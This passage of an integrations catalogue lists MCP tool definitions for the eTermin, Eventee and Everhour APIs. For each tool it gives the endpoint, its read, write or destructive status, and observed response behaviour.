etermin_get_api_contactservice (read) — Returns a list of the permissions of the contact. via GET /api/contactservice GET /api/v1/etermin/api/contactservice. Scopes: api. etermin_get_api_messagelogs (read) — Returns a list with all messages that are sent via eTermin. Note: You can only get the list for the last 30 days or less, depending on your privacy settings in the account via GET /api/messagelogs GET /api/v1/etermin/api/messagelogs. Scopes: api. etermin_get_api_rating (read) — Returns all the ratings that were received from the customers. via GET /api/rating GET /api/v1/etermin/api/rating. Scopes: api. etermin_get_api_service (read) — Use this function if you want to get details of an existing service or all services. via GET /api/service GET /api/v1/etermin/api/service. Scopes: api. etermin_get_api_servicecalendar (read) — Returns a list of all calendars that are compatible with one of the provided serviceid(s) via GET /api/servicecalendar GET /api/v1/etermin/api/servicecalendar. Scopes: api. etermin_get_api_servicegroup (read) — Returns all service groups that are available for the specific account. via GET /api/servicegroup GET /api/v1/etermin/api/servicegroup. Scopes: api. etermin_get_api_surveyresults (read) — Returns all survey results that were received from the customers. via GET /api/surveyresults GET /api/v1/etermin/api/surveyresults. Scopes: api. etermin_get_api_timeslots (read) — Get available time slots of a specific day or a time range.

Important: Please pay attention that some fields might be mandatory to not get an empty response, depending how the account is set up (for example serviceid). via GET /api/timeslots GET /api/v1/etermin/api/timeslots. Scopes: api. etermin_get_api_usermapping (read) — Usermapping is used for the number search. Use this function to validate a searchvalue to get the according calendarids and servicegroupids via GET /api/usermapping GET /api/v1/etermin/api/usermapping. Scopes: api. etermin_get_api_voucher (read) — Returns a list with all vouchers via GET /api/voucher GET /api/v1/etermin/api/voucher. Scopes: api. etermin_get_api_workingtimes (read) — Get working time slots for weekdays via GET /api/workingtimes GET /api/v1/etermin/api/workingtimes. Scopes: api. etermin_get_api_workingtimesdate (read) — Get working time slots for specific dates via GET /api/workingtimesdate GET /api/v1/etermin/api/workingtimesdate. Scopes: api. etermin_post_api_anchortime (write) — Use this function to create a new weekly anchortime. via POST /api/anchortime POST /api/v1/etermin/api/anchortime. Scopes: api. etermin_post_api_anchortimedate (write) — Use this function to create a new anchortime for a specific date. via POST /api/anchortimedate POST /api/v1/etermin/api/anchortimedate. Scopes: api. etermin_post_api_appointment (write) — Use this function to create a new appointment in the eTermin calendar via POST /api/appointment POST /api/v1/etermin/api/appointment. Scopes: api. etermin_post_api_appointmentsync (write) — Create a new appointment via POST /api/appointmentsync POST /api/v1/etermin/api/appointmentsync. Scopes: api. etermin_post_api_calendar (write) — Use this function to create a new calendar via POST /api/calendar POST /api/v1/etermin/api/calendar. Scopes: api. etermin_post_api_calendarreturntime (write) — Use this function to create a new return time. via POST /api/calendarreturntime POST /api/v1/etermin/api/calendarreturntime. Scopes: api. etermin_post_api_calendarservice (write) — Creates a new service assignment of a calendar via POST /api/calendarservice POST /api/v1/etermin/api/calendarservice. Scopes: api. etermin_post_api_calendarsnonworkingtimes (write) — Use this function to create a new absence. via POST /api/calendarsnonworkingtimes POST /api/v1/etermin/api/calendarsnonworkingtimes. Scopes: api. etermin_post_api_contact (write) — Creates a new contact. You can see the new contact in the eTermin CRM. via POST /api/contact POST /api/v1/etermin/api/contact. Scopes: api. etermin_post_api_contactfrequency (write) — Creates contact frequency that limites the amount of bookings a contact can have. The login on the booking page has to be activated to use this function. via POST /api/contactfrequency POST /api/v1/etermin/api/contactfrequency. Scopes: api. etermin_post_api_contactservice (write) — Creates contact permission to specific service groups. The login on the booking page has to be activated to use this function. via POST /api/contactservice POST /api/v1/etermin/api/contactservice. Scopes: api. etermin_post_api_service (write) — Use this function if you want to create a service. Note: Most services only need the first few parameters. However, since the services are very versatile, they have much more parameters, especially because they may override global settings. via POST /api/service POST /api/v1/etermin/api/service. Scopes: api. etermin_post_api_servicegroup (write) — Creates a new service group via POST /api/servicegroup POST /api/v1/etermin/api/servicegroup. Scopes: api. etermin_post_api_usermapping (write) — Usermapping is used for the number search. Use this function to create a new entry for the number search. via POST /api/usermapping POST /api/v1/etermin/api/usermapping. Scopes: api. etermin_post_api_voucher (write) — Creates a new voucher via POST /api/voucher POST /api/v1/etermin/api/voucher. Scopes: api. etermin_post_api_workingtimes (write) — Creates a new working slot via POST /api/workingtimes POST /api/v1/etermin/api/workingtimes. Scopes: api. etermin_post_api_workingtimesdate (write) — Creates a new working slot for a specific day via POST /api/workingtimesdate POST /api/v1/etermin/api/workingtimesdate. Scopes: api. etermin_put_api_anchortime (write) — Use this function to update a weekly anchortime. via PUT /api/anchortime PUT /api/v1/etermin/api/anchortime. Scopes: api. etermin_put_api_anchortimedate (write) — Use this function to update an anchortime by date. via PUT /api/anchortimedate PUT /api/v1/etermin/api/anchortimedate. Scopes: api. etermin_put_api_appointment (write) — Use this function if you want to update details of an existing appointment. via PUT /api/appointment PUT /api/v1/etermin/api/appointment. Scopes: api. etermin_put_api_appointmentsync (write) — Update an existing appointment via PUT /api/appointmentsync PUT /api/v1/etermin/api/appointmentsync. Scopes: api. etermin_put_api_calendar (write) — Use this function if you want to update details of an existing calendar/employee/ressource. via PUT /api/calendar PUT /api/v1/etermin/api/calendar. Scopes: api. etermin_put_api_calendarreturntime (write) — Use this function to update a return time. via PUT /api/calendarreturntime PUT /api/v1/etermin/api/calendarreturntime. Scopes: api. etermin_put_api_calendarsnonworkingtimes (write) — Use this function to update an absence. via PUT /api/calendarsnonworkingtimes PUT /api/v1/etermin/api/calendarsnonworkingtimes. Scopes: api. etermin_put_api_contact (write) — Use this function if you want to update details of an existing contact. via PUT /api/contact PUT /api/v1/etermin/api/contact. Scopes: api. etermin_put_api_service (write) — Use this function if you want to update details of an existing service. via PUT /api/service PUT /api/v1/etermin/api/service. Scopes: api. etermin_put_api_servicegroup (write) — Updates attributes of a service group via PUT /api/servicegroup PUT /api/v1/etermin/api/servicegroup. Scopes: api. etermin_put_api_usermapping (write) — Usermapping is used for the number search. Use this function to update an existing entry for the number search. via PUT /api/usermapping PUT /api/v1/etermin/api/usermapping. Scopes: api. etermin_put_api_voucher (write) — Update an existing voucher via PUT /api/voucher PUT /api/v1/etermin/api/voucher. Scopes: api. etermin_put_api_workingtimes (write) — Update an existing working slot via PUT /api/workingtimes PUT /api/v1/etermin/api/workingtimes. Scopes: api. etermin_put_api_workingtimesdate (write) — Update an existing working slot for a specific date via PUT /api/workingtimesdate PUT /api/v1/etermin/api/workingtimesdate. Scopes: api. ================================================================================ ## Eventee URL: https://www.agenticfabriq.com/integrations/eventee Section: Integrated Tools Eventee — 31 MCP tools Provider key: eventee. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. eventee_delete_attendee (write, destructive) — Remove an invited attendee from the event by EMAIL (there is no path id): an attendee who already entered the event loses access and every link between them and the event is removed. Answers 204 whether or not the address was present (measured 2026-09-19), so confirm with `eventee_get_participants`. `email` is required: `{}` answers 422 "Email is required.". DELETE /api/v1/eventee/attendee. Scopes: api. eventee_delete_hall_by_id (write, destructive) — Delete a hall by id. Answers 204 with no body. An event must keep at least one hall: deleting the last one answers 400 `{"error": "cannot_delete_only_hall"}` (documented). An unknown id answers 404. DELETE /api/v1/eventee/hall/{id}. Scopes: api. eventee_delete_label_by_id (write, destructive) — Delete a track by id and detach it from every session. Answers 204 with no body. Tracks are a per-event feature the organiser switches on in the Eventee admin (Settings -> Features -> Tracks); with it OFF this call answers 403 `{"not_authorized": "You are not authorized to do this step."}`, which is the feature, not the token (measured 2026-09-19 on an event with `has_tracks: false`). DELETE /api/v1/eventee/label/{id}. Scopes: api. eventee_delete_lecture_by_id (write, destructive) — Delete a session (lecture or workshop) by id, with its bookings, questions, polls and reviews. Answers 204 with no body; an unknown id answers 404. DELETE /api/v1/eventee/lecture/{id}. Scopes: api. eventee_delete_partner_by_id (write, destructive) — Delete a partner by id, with its sections. Answers 204 with no body; an unknown id answers 404. DELETE /api/v1/eventee/partner/{id}. Scopes: api. eventee_delete_pause_by_id (write, destructive) — Delete a break by id. Answers 204 with no body; an unknown id answers 404. DELETE /api/v1/eventee/pause/{id}. Scopes: api. eventee_delete_registration (write, destructive) — Remove a registration from the event by EMAIL (there is no path id). Answers 204 whether or not the address was registered (measured 2026-09-19), so confirm with `eventee_get_registrations`. `email` is required: `{}` answers 422 "Email is required.". DELETE /api/v1/eventee/registration. Scopes: api. eventee_delete_speaker_by_id (write, destructive) — Delete a speaker by id and detach them from every session. Answers 204 with no body; an unknown id answers 404. DELETE /api/v1/eventee/speaker/{id}. Scopes: api. eventee_delete_test_content (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE: deletes ALL tracks, breaks, speakers, workshops, lectures and halls from the connected event in one call (Eventee's own wording: "delete all tracks, pauses, speakers, workshops, lectures and halls from your event"). Attendees, registrations, partners and reviews are not touched. Eventee publishes it for wiping test data; the token is per event, so the blast radius is the one event this connection holds. Answers 204 with no body; read `eventee_get_content` back to confirm. DELETE /api/v1/eventee/test/content. Scopes: api. eventee_get_content (read) — Get the whole agenda of the connected event in one call: `halls`, `days` (each with its `lectures`), `workshops`, `pauses` (breaks), `speakers` and `tracks`. Measured 2026-09-19: sessions are listed under `days[].lectures`, each carrying `hall_id`, `speakers` (ids), `tracks`, `stream`, `virtual_meeting`, `capacity` and `booking_info`, while the top-level `lectures` array was empty. This is the read-back for every create, update and delete below, and the probe a pasted token is checked against. GET /api/v1/eventee/content. Scopes: api. eventee_get_groups (read) — List the event's attendee groups (id, name, public name, colour, emoji, which features each group sees, ticket names, `is_default`). The `id` is what `group_id` on an invite refers to. Empty array when the Groups feature is off or no group exists. GET /api/v1/eventee/groups. Scopes: api. eventee_get_participants (read) — List the event's attendees: `id`, `email`, `name`, `first_name`, `last_name`, `company`, `position`, `role`, `group_id`, `checked_at`, `registered_at`. The `id` is what the check-in tool takes; the `email` is what removal takes. GET /api/v1/eventee/participants. Scopes: api. eventee_get_partners (read) — List the event's partners with their contact details, logo, sponsor/exhibitor info and `sections`. Empty array when none exist. GET /api/v1/eventee/partners. Scopes: api. eventee_get_registrations (read) — List the event's registrations: `id`, `email`, `email_valid`, `status`, name and profile fields, `group_id`, `form_answers`. Empty array when none exist. GET /api/v1/eventee/registrations. Scopes: api. eventee_get_reviews (read) — List every attendee review (star rating and comment) left on the event's sessions, each with the `lecture` it rates and the reviewer's username. Empty array on an event with no reviews yet. GET /api/v1/eventee/reviews. Scopes: api. eventee_patch_hall_by_id (write) — Rename an existing hall. This is a FULL REPLACE, not a merge: Eventee answers 422 naming the missing field unless every required field is re-sent (measured 2026-09-19), so read the current values first and send them all. PATCH /api/v1/eventee/hall/{id}. Scopes: api. eventee_patch_label_by_id (write) — Update a track's name and colour by id. Tracks are a per-event feature the organiser switches on in the Eventee admin (Settings -> Features -> Tracks); with it OFF this call answers 403 `{"not_authorized": "You are not authorized to do this step."}`, which is the feature, not the token (measured 2026-09-19 on an event with `has_tracks: false`). PATCH /api/v1/eventee/label/{id}. Scopes: api. eventee_patch_lecture_by_id (write) — Update a session (lecture or workshop) by id. This is a FULL REPLACE, not a merge: Eventee answers 422 naming the missing field unless every required field is re-sent (measured 2026-09-19), so read the current values first and send them all. `speakers` and `tracks` replace the previous lists. Times are `YYYY-MM-DD HH:MM:SS` in the event's own timezone -- an ISO 8601 value answers 422 "must match the format Y-m-d H:i:s" and a time outside the event's dates answers 400 `session_not_in_event` (both measured 2026-09-19). PATCH /api/v1/eventee/lecture/{id}. Scopes: api. eventee_patch_partner_by_id (write) — Update a partner's details by id. This is a FULL REPLACE, not a merge: Eventee answers 422 naming the missing field unless every required field is re-sent (measured 2026-09-19), so read the current values first and send them all. Sections are edited with `eventee_patch_partner_by_id_sections`, not here. PATCH /api/v1/eventee/partner/{id}. Scopes: api. eventee_patch_partner_by_id_sections (write, destructive) — Replace the content sections of a partner's page. ALWAYS SEND THE COMPLETE LIST: a section with an `id` is updated, one without is created, and any existing section missing from the list is DELETED; the final order is the list's order (documented, and measured 2026-09-19 -- an empty list removed every section). Each item's `type` selects what it stores: 0 title, 1 html, 2 urls, 3 images, 4 files, 5 social links. Answers 200 with the partner, whose `sections[]` carry each stored section's `id`, `type` and `data`. PATCH /api/v1/eventee/partner/{id}/sections. Scopes: api. eventee_patch_pause_by_id (write) — Update a break by id. This is a FULL REPLACE, not a merge: Eventee answers 422 naming the missing field unless every required field is re-sent (measured 2026-09-19), so read the current values first and send them all. Times are `YYYY-MM-DD HH:MM:SS` in the event's own timezone -- an ISO 8601 value answers 422 "must match the format Y-m-d H:i:s" and a time outside the event's dates answers 400 `session_not_in_event` (both measured 2026-09-19). PATCH /api/v1/eventee/pause/{id}. Scopes: api. eventee_patch_speaker_by_id (write) — Update a speaker by id. Unlike the other updates this one MERGES: sending only `company` answered 200 with the name preserved (measured 2026-09-19), so send just the fields to change. PATCH /api/v1/eventee/speaker/{id}. Scopes: api. eventee_post_hall (write) — Create a hall (a room or stage sessions are scheduled in). Answers 201 with the hall's `id`, `name` and `order`. POST /api/v1/eventee/hall. Scopes: api. eventee_post_label (write) — Create a track (Eventee's coloured agenda label; the path is `/label`). Both `name` and `color` are required (measured 2026-09-19). Answers 201 with the track's `id`. Tracks are a per-event feature the organiser switches on in the Eventee admin (Settings -> Features -> Tracks); with it OFF this call answers 403 `{"not_authorized": "You are not authorized to do this step."}`, which is the feature, not the token (measured 2026-09-19 on an event with `has_tracks: false`). With the feature off this create still answers 201, but the track never appears in `eventee_get_content` and does not attach to sessions. POST /api/v1/eventee/label. Scopes: api. eventee_post_lecture (write) — Create a session -- a lecture (type 0) or a bookable workshop (type 1) -- on the event's agenda. Only `name`, `start` and `end` are required (measured 2026-09-19; the blueprint also lists hall, speakers, type and tracks, and the server does not). Times are `YYYY-MM-DD HH:MM:SS` in the event's own timezone -- an ISO 8601 value answers 422 "must match the format Y-m-d H:i:s" and a time outside the event's dates answers 400 `session_not_in_event` (both measured 2026-09-19). Answers 201 with the session's `id`, its `code` and `qr_code_url`. POST /api/v1/eventee/lecture. Scopes: api. eventee_post_partner (write) — Create a partner (sponsor or exhibitor) on the event. Only `company` is required. Image URLs are downloaded and re-hosted by Eventee. Answers 201 with the partner's `id`, `code`, `sections` (empty) and `sponsor_info` / `exhibitor_info`. POST /api/v1/eventee/partner. Scopes: api. eventee_post_pause (write) — Create a break ("pause" -- coffee, lunch, networking) on the agenda. Times are `YYYY-MM-DD HH:MM:SS` in the event's own timezone -- an ISO 8601 value answers 422 "must match the format Y-m-d H:i:s" and a time outside the event's dates answers 400 `session_not_in_event` (both measured 2026-09-19). Answers 201 with the break's `id` and the agenda `day` it landed on. POST /api/v1/eventee/pause. Scopes: api. eventee_post_speaker (write) — Create a speaker. Only `name` is required (measured 2026-09-19; the blueprint also lists `phone`, and the server does not). A `photo` URL is downloaded and re-hosted; an unreadable image answers 400 `image_not_readable`. Answers 201 with the speaker's `id`; attach it to sessions through `speakers` on `eventee_post_lecture`. POST /api/v1/eventee/speaker. Scopes: api. eventee_put_attendee_by_id_checkin (write) — Mark an attendee as checked in (`checkin: true`) or undo it (`checkin: false`), by the attendee id from `eventee_get_participants`. Answers 200 with the attendee, `checked_at` set to the check-in time (measured) or null. An unknown id answers 404. PUT /api/v1/eventee/attendee/{id}/checkin. Scopes: api. eventee_put_attendee_invite (write) — Invite (import) one or more attendees into the event by email, with an optional profile, group and tickets. Each `users` item needs an `email`. Eventee emails an invitation unless the item says `send_email: false`. Answers 200 with the event's `url` and `qr_code` (not per person); read `eventee_get_participants` back for the new attendee ids. Inviting an address already present updates it rather than duplicating. PUT /api/v1/eventee/attendee/invite. Scopes: api. eventee_put_registration_invite (write) — Add one or more registrations (people on the registration list, not yet attendees) by email with an optional profile and group. Each `registrations` item needs an `email`. Eventee emails them unless the item says `send_email: false`. Answers 200 with the event's `url` and `qr_code`; read `eventee_get_registrations` back for the new ids. PUT /api/v1/eventee/registration/invite. Scopes: api. ================================================================================ ## Everhour URL: https://www.agenticfabriq.com/integrations/everhour Section: Integrated Tools Everhour — 101 MCP tools Provider key: everhour. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. everhour_delete_allocations_by_allocation_id (write, destructive) — Delete Allocation. DELETE /allocations/{allocation_id}. Delete a time-off allocation. DELETE /api/v1/everhour/allocations/{allocation_id}. Scopes: api. everhour_delete_attachments_by_attachment_id (write, destructive) — Delete Attachment. DELETE /attachments/{attachment_id}. Delete an attachment and its underlying file. DELETE /api/v1/everhour/attachments/{attachment_id}. Scopes: api. everhour_delete_clients_by_client_id (write, destructive) — Delete Client. DELETE /clients/{client_id}. Delete a client. DELETE /api/v1/everhour/clients/{client_id}. Scopes: api. everhour_delete_clients_by_client_id_budget (write, destructive) — Delete Client Budget. DELETE /clients/{client_id}/budget. Remove the budget attached to a client. The client itself is kept. DELETE /api/v1/everhour/clients/{client_id}/budget. Scopes: api. everhour_delete_expenses_by_expense_id (write, destructive) — Delete Expense. DELETE /expenses/{expense_id}. Delete an expense entry. Attached files are also removed. DELETE /api/v1/everhour/expenses/{expense_id}. Scopes: api. everhour_delete_expenses_categories_by_category_id (write, destructive) — Delete Category. DELETE /expenses/categories/{category_id}. Delete an expense category. Expenses already assigned to it are kept but become uncategorized. DELETE /api/v1/everhour/expenses/categories/{category_id}. Scopes: api. everhour_delete_fields_by_field_id (write, destructive) — Delete Field. DELETE /fields/{field_id}. Delete a custom field. Existing task values for that field are discarded. DELETE /api/v1/everhour/fields/{field_id}. Scopes: api. everhour_delete_hooks_by_hook_id (write, destructive) — Delete Webhook. DELETE /hooks/{hook_id}. Delete a webhook subscription. Stops further deliveries; no event is sent for the deletion itself. DELETE /api/v1/everhour/hooks/{hook_id}. Scopes: api. everhour_delete_invoices_by_invoice_id (write, destructive) — Delete Invoice. DELETE /invoices/{invoice_id}. Delete an invoice. Time records attached to the invoice are released and become billable again. DELETE /api/v1/everhour/invoices/{invoice_id}. Scopes: api. everhour_delete_projects_by_project_id (write, destructive) — Delete Project. DELETE /projects/{project_id}. Delete a project, its tasks, and all associated time records. This is irreversible. DELETE /api/v1/everhour/projects/{project_id}. Scopes: api. everhour_delete_resource_planner_assignments_by_assignment_id (write, destructive) — Delete Assignment. DELETE /resource-planner/assignments/{assignment_id}. Delete a schedule assignment. You can include an optional `reason` (max 1000 characters) in the request body. DELETE /api/v1/everhour/resource-planner/assignments/{assignment_id}. Scopes: api. everhour_delete_resource_planner_time_off_types_by_type_id (write, destructive) — Delete Time Off Type. DELETE /resource-planner/time-off-types/{type_id}. Delete a time-off type. Existing time-off entries that reference it are kept. DELETE /api/v1/everhour/resource-planner/time-off-types/{type_id}. Scopes: api. everhour_delete_sections_by_section_id (write, destructive) — Delete Section. DELETE /sections/{section_id}. Delete a section. Tasks in the section are kept but become section-less. DELETE /api/v1/everhour/sections/{section_id}. Scopes: api. everhour_delete_tasks_by_task_id (write, destructive) — Delete Task. DELETE /tasks/{task_id}. Delete a task and all of its time records. DELETE /api/v1/everhour/tasks/{task_id}. Scopes: api. everhour_delete_tasks_by_task_id_estimate (write, destructive) — Delete Task Estimate. DELETE /tasks/{task_id}/estimate. Remove a task's estimate. DELETE /api/v1/everhour/tasks/{task_id}/estimate. Scopes: api. everhour_delete_time_by_time_id (write, destructive) — Delete Time Record. DELETE /time/{time_id}. Remove a time record by setting its duration to zero. The history trail is preserved; the row no longer appears in time listings, which filter for `time > 0`. DELETE /api/v1/everhour/time/{time_id}. Scopes: api. everhour_delete_timers_current (write, destructive) — Stop Timer. DELETE /timers/current. Stop the authenticated user's currently running timer. The accumulated duration is committed to a time record on the timer's task for the current date and returned in the response. DELETE /api/v1/everhour/timers/current. Scopes: api. everhour_delete_users_by_user_id_timecards_by_date (write, destructive) — Delete Timecard. DELETE /users/{user_id}/timecards/{date}. Delete a user's timecard entry for a specific date. DELETE /api/v1/everhour/users/{user_id}/timecards/{date}. Scopes: api. everhour_get_allocations (read) — Get All Allocations. GET /allocations. List per-user time-off allocations (e.g. annual vacation balances). GET /api/v1/everhour/allocations. Scopes: api. everhour_get_attachments_by_attachment_token_download (read) — Download Attachment. GET /attachments/{attachment_token}/download. Download the binary contents of an attachment by its token. The response is the raw file, not JSON. Returned as JSON: content_type, content_length and the bytes as content_base64 when the file is at most 4 MB; a larger file is described in `detail` and not carried. GET /api/v1/everhour/attachments/{attachment_token}/download. Scopes: api. everhour_get_clients (read) — Get All Clients. GET /clients. Search Clients by Name using the query parameter. GET /api/v1/everhour/clients. Scopes: api. everhour_get_clients_by_client_id (read) — Get Client. GET /clients/{client_id}. Retrieve a single client by ID. GET /api/v1/everhour/clients/{client_id}. Scopes: api. everhour_get_dashboards_clients (read) — Clients Report. GET /dashboards/clients. Aggregated client report. Same filters and units as `GET /dashboards/projects` — see Concepts. GET /api/v1/everhour/dashboards/clients. Scopes: api. everhour_get_dashboards_projects (read) — Projects Report. GET /dashboards/projects. Aggregated project report. Returns time, billing, and budget figures grouped by project. Filter the result with `date.gte`, `date.lte`, `projectId`, `clientId`, and `memberId` query parameters — see Dates for parameter formats. Time columns are in seconds, amounts in cents (see Concepts). GET /api/v1/everhour/dashboards/projects. Scopes: api. everhour_get_dashboards_users (read) — Users Report. GET /dashboards/users. Aggregated member report. Same filters and units as `GET /dashboards/projects` — see Concepts. GET /api/v1/everhour/dashboards/users. Scopes: api. everhour_get_expenses (read) — Get All Expenses. GET /expenses. List expenses logged by the authenticated user. GET /api/v1/everhour/expenses. Scopes: api. everhour_get_expenses_categories (read) — Get All Categories. GET /expenses/categories. List expense categories available in the team. GET /api/v1/everhour/expenses/categories. Scopes: api. everhour_get_hooks (read) — Get All Webhooks. GET /hooks. List all webhook subscriptions created with your API key. GET /api/v1/everhour/hooks. Scopes: api. everhour_get_hooks_by_hook_id (read) — Get Webhook. GET /hooks/{hook_id}. Retrieve a single webhook subscription. GET /api/v1/everhour/hooks/{hook_id}. Scopes: api. everhour_get_invoices (read) — Get All Invoices. GET /invoices. List invoices in the team. Supports filtering by date and client. GET /api/v1/everhour/invoices. Scopes: api. everhour_get_invoices_by_invoice_id (read) — Get Invoice. GET /invoices/{invoice_id}. Retrieve a single invoice with its full line-item breakdown. GET /api/v1/everhour/invoices/{invoice_id}. Scopes: api. everhour_get_projects (read) — Get All Projects. GET /projects. List projects the caller has access to. Use the `query` parameter to search by name and `limit`/`page` for pagination — see Pagination. GET /api/v1/everhour/projects. Scopes: api. everhour_get_projects_by_project_id (read) — Get Project. GET /projects/{project_id}. Retrieve a single project. See Concepts for the project model. GET /api/v1/everhour/projects/{project_id}. Scopes: api. everhour_get_projects_by_project_id_fields (read) — Get Project Fields Configuration. GET /projects/{project_id}/fields. List the custom fields configured on a project, in display order. GET /api/v1/everhour/projects/{project_id}/fields. Scopes: api. everhour_get_projects_by_project_id_sections (read) — Get Project Sections. GET /projects/{project_id}/sections. List sections (groupings of tasks) within a project. GET /api/v1/everhour/projects/{project_id}/sections. Scopes: api. everhour_get_projects_by_project_id_tasks (read) — Get Project Tasks. GET /projects/{project_id}/tasks. List tasks in a project. By default all tasks are returned; set `exclude-closed=true` to hide closed/completed tasks. See Pagination for `limit`/`page` rules. GET /api/v1/everhour/projects/{project_id}/tasks. Scopes: api. everhour_get_projects_by_project_id_tasks_search (read) — Search Project Tasks. GET /projects/{project_id}/tasks/search. Search tasks within a single project. Same query semantics as `GET /tasks/search`; `limit` must be between 1 and 100. GET /api/v1/everhour/projects/{project_id}/tasks/search. Scopes: api. everhour_get_projects_by_project_id_time (read) — Get Project Time Records. GET /projects/{project_id}/time. List time records logged against a single project, across all users and tasks. GET /api/v1/everhour/projects/{project_id}/time. Scopes: api. everhour_get_resource_planner_assignments (read) — Get All Assignments. GET /resource-planner/assignments. List schedule assignments across the team. Supports filtering by date range, project, and member. GET /api/v1/everhour/resource-planner/assignments. Scopes: api. everhour_get_resource_planner_time_off_types (read) — Get Time Off Types. GET /resource-planner/time-off-types. List the time-off types defined for the team (e.g. Vacation, Sick Leave). GET /api/v1/everhour/resource-planner/time-off-types. Scopes: api. everhour_get_sections_by_section_id (read) — Get Section. GET /sections/{section_id}. Retrieve a single section by ID. GET /api/v1/everhour/sections/{section_id}. Scopes: api. everhour_get_tasks_by_task_id (read) — Get Task. GET /tasks/{task_id}. Retrieve a single task with its time totals, estimate, and custom fields. GET /api/v1/everhour/tasks/{task_id}. Scopes: api. everhour_get_tasks_by_task_id_time (read) — Get Task Time Records. GET /tasks/{task_id}/time. List time records logged against a single task, across all users. GET /api/v1/everhour/tasks/{task_id}/time. Scopes: api. everhour_get_tasks_search (read) — Search Tasks. GET /tasks/search. Search tasks across all projects by name. The `limit` parameter must be between 1 and 100. GET /api/v1/everhour/tasks/search. Scopes: api. everhour_get_team_estimate_export (read) — Estimates Report (deprecated). GET /team/estimate/export. Legacy export of team estimates, returned as JSON. Requires admin access. Kept for backward compatibility; new integrations should use the dashboard reports. GET /api/v1/everhour/team/estimate/export. Scopes: api. everhour_get_team_time (read) — Get All Time Records. GET /team/time. List time records across the entire team for a date range. When `from`/`to` are omitted, only the current day is returned. See Dates. GET /api/v1/everhour/team/time. Scopes: api. everhour_get_team_time_export (read) — Time Report (deprecated). GET /team/time/export. Legacy export of team time records, returned as JSON. Kept for backward compatibility; new integrations should use `GET /team/time` or the dashboard reports. GET /api/v1/everhour/team/time/export. Scopes: api. everhour_get_team_timers (read) — Get All Team Timers. GET /team/timers. List the timers currently running across the team — one entry per active user. GET /api/v1/everhour/team/timers. Scopes: api. everhour_get_team_users (read) — Get All Users. GET /team/users. List all members of the team. Supports `query` for name search and `limit` for pagination — see Pagination. GET /api/v1/everhour/team/users. Scopes: api. everhour_get_timecards (read) — Get All Timecards. GET /timecards. List timecards across the team. Defaults to the last two weeks when no date range is provided — see Dates. GET /api/v1/everhour/timecards. Scopes: api. everhour_get_timers_current (read) — Get Running Timer. GET /timers/current. Retrieve the authenticated user's currently running timer, or an empty timer payload if none is running. GET /api/v1/everhour/timers/current. Scopes: api. everhour_get_timesheets (read) — Get Team Timesheets. GET /timesheets. List timesheet weeks across the team, grouped by user. GET /api/v1/everhour/timesheets. Scopes: api. everhour_get_users_by_user_id_time (read) — Get User Time Records. GET /users/{user_id}/time. List time records for a single user. Supports the same filters as `GET /team/time`. GET /api/v1/everhour/users/{user_id}/time. Scopes: api. everhour_get_users_by_user_id_timecards (read) — Get User Timecards. GET /users/{user_id}/timecards. List timecards for a single user. Defaults to the last two weeks when no date range is provided. GET /api/v1/everhour/users/{user_id}/timecards. Scopes: api. everhour_get_users_by_user_id_timecards_by_date (read) — Get Timecard. GET /users/{user_id}/timecards/{date}. Retrieve a user's timecard for a specific date. GET /api/v1/everhour/users/{user_id}/timecards/{date}. Scopes: api. everhour_get_users_by_user_id_timesheets (read) — Get User Timesheets. GET /users/{user_id}/timesheets. List timesheet weeks for a single user. The week id is the Monday date of the week (see Dates). GET /api/v1/everhour/users/{user_id}/timesheets. Scopes: api. everhour_get_users_me (read) — Get Current User. GET /users/me. Retrieve the user that owns the API key, including personal settings (timezone, formats, API key). GET /api/v1/everhour/users/me. Scopes: api. everhour_patch_projects_by_project_id_archive (write) — Archive/Unarchive Project. PATCH /projects/{project_id}/archive. Archive or unarchive a project. Archived projects are hidden from default listings but their data is preserved. PATCH /api/v1/everhour/projects/{project_id}/archive. Scopes: api. everhour_post_allocations (write) — Create Allocation. POST /allocations. Create a time-off allocation for a user and time-off type. POST /api/v1/everhour/allocations. Scopes: api. everhour_post_attachments (write) — Create Attachment. POST /attachments. Upload a file and receive a one-time attachment token. The token can then be attached to an expense via `POST /expenses/{expense_id}/attachments` or included in `POST /expenses`. POST /api/v1/everhour/attachments. Scopes: api. everhour_post_clients (write) — Create Client. POST /clients. Create a new client. Names are not deduplicated — posting the same name creates another client. POST /api/v1/everhour/clients. Scopes: api. everhour_post_clients_by_client_id_invoices (write) — Create Invoice. POST /clients/{client_id}/invoices. Create an invoice for a client. The invoice is generated from the client's tracked time over the requested date range — see Dates. POST /api/v1/everhour/clients/{client_id}/invoices. Scopes: api. everhour_post_expenses (write) — Create Expense. POST /expenses. Log a new expense. Amounts are in cents (see Concepts); attach files first via `POST /attachments` and reference their IDs in the request body. POST /api/v1/everhour/expenses. Scopes: api. everhour_post_expenses_by_expense_id_attachments (write) — Add Attachment To Expense. POST /expenses/{expense_id}/attachments. Attach a previously uploaded file (by its token from `POST /attachments`) to an existing expense. POST /api/v1/everhour/expenses/{expense_id}/attachments. Scopes: api. everhour_post_expenses_categories (write) — Create Category. POST /expenses/categories. Create a new expense category. POST /api/v1/everhour/expenses/categories. Scopes: api. everhour_post_hooks (write) — Create Webhook. POST /hooks. Register a new webhook subscription. Handshake: on create, Everhour sends a POST to the supplied `targetUrl` with an `X-Hook-Secret` header (HMAC-SHA512) and an empty body. The receiver must respond with a 2xx status to complete verification. Send `X-Skip-Handshake: 1` to skip verification when the receiver cannot participate. Scope: a webhook can listen across the whole team or be scoped to a single project. See Webhooks for event types, payload structure, and delivery semantics. POST /api/v1/everhour/hooks. Scopes: api. everhour_post_invoices_by_invoice_id_export (write) — Export Invoice to Xero/QB/FB. POST 